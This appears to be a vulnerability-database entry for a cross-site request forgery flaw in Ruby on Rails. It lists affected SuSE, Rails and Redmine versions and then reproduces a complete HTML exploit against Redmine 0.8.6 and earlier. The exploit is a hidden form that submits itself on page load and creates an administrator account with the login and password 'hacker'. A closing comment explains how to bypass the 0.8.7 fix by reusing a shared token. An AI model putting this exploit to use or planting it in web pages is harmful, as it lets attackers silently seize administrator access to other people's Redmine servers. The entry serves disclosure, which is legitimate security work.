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=============================================================================
Ruby on Rails 'protect_from_forgery' Cross Site Request Forgery Vulnerability
=============================================================================
Vulnerable: SuSE SLE 11
SuSE openSUSE 11.2
SuSE openSUSE 11.0
S.u.S.E. SUSE Linux Enterprise 10 SP3
S.u.S.E. SUSE Linux Enterprise 10 SP2
S.u.S.E. openSUSE 11.1
Ruby on Rails Ruby on Rails 2.3.5
Ruby on Rails Ruby on Rails 2.3.4
Ruby on Rails Ruby on Rails 2.3.3
Ruby on Rails Ruby on Rails 2.3.2
Ruby on Rails Ruby on Rails 2.2.3
Ruby on Rails Ruby on Rails 2.2.2
Ruby on Rails Ruby on Rails 2.1.1
Ruby on Rails Ruby on Rails 2.1
Ruby on Rails Ruby on Rails 2.0.5
Ruby on Rails Ruby on Rails 2.0.4
Ruby on Rails Ruby on Rails 2.0
Ruby on Rails Ruby on Rails 1.2.6
Ruby on Rails Ruby on Rails 1.2.5
Ruby on Rails Ruby on Rails 1.2.3
Ruby on Rails Ruby on Rails 1.1.6
Ruby on Rails Ruby on Rails 1.1.5
Ruby on Rails Ruby on Rails 1.1.4
Ruby on Rails Ruby on Rails 1.1.3
Ruby on Rails Ruby on Rails 1.1.2
Ruby on Rails Ruby on Rails 1.1.1
Ruby on Rails Ruby on Rails 1.1
Ruby on Rails Ruby on Rails 1.0
Ruby on Rails Ruby on Rails 0.14
Ruby on Rails Ruby on Rails 0.13
Redmine Redmine 0.8.7
Redmine Redmine 0.8.6
Redmine Redmine 0.8.5
Redmine Redmine 0.7.3
Redmine Redmine 0.7.2
/**
* Redmine <= 0.8.6 CSRF Add Admin User Exploit
* Discovered by: p0deje (http://p0deje.blogspot.com)
* Application: http://www.redmine.org/wiki/redmine/Download
* SA: http://www.redmine.org/news/30
* Date: 13.11.2009
* Versions affected: <= 0.8.6
* Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
<html>
<body>
<form method=POST action="http://www.example.com/users/new">
<input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
<input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
<input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
<input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
<input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
<input style="display: none" type="hidden" value="1" name="user[admin]"/>
<input style="display: none" type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>
</body>
</html>
/**
* P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
* Thus, you can add POST data with token of any user and exploit will be working again
*/
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